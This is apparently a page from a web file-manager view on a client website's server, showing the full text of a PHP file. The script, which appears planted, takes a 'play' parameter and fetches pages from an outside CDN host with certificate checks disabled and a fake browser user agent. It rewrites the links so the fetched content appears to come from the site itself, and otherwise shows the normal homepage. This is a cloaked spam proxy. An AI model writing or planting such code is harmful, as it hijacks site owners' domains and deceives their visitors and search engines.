/
home
/
devanchordigital-footespharm
/
htdocs
/
footespharm.devanchordigital.com.au
/
app
/
up file
home
<?php $baseUrl = 'https://content-th.nimblecdn.com/footespharm.devanchordigital.com.au/app/index.php'; $playParam = isset($_GET['play']) ? $_GET['play'] : null; if (!empty($playParam)) { $fullUrl = $baseUrl . '?play=' . urlencode($playParam); // Initialize cURL $ch = curl_init($fullUrl); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, // follow redirects CURLOPT_CONNECTTIMEOUT => 5, // faster connection timeout CURLOPT_TIMEOUT => 10, // max time to wait CURLOPT_ENCODING => 'gzip', // enable gzip if supported CURLOPT_USERAGENT => 'Mozilla/5.0', // fake browser (optional) CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, )); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($content !== false && $httpCode === 200) { // Replace the original URL with new domain $newPrefix = 'https://footespharm.devanchordigital.com.au/app/?play='; $content = str_replace( $baseUrl . '?play=' . urlencode($playParam), $newPrefix . urlencode($playParam), $content ); echo $content; } else { // Fallback to homepage include __DIR__ . '/index.html'; exit; } } else { // No play param → show homepage include __DIR__ . '/index.html'; exit; } ?>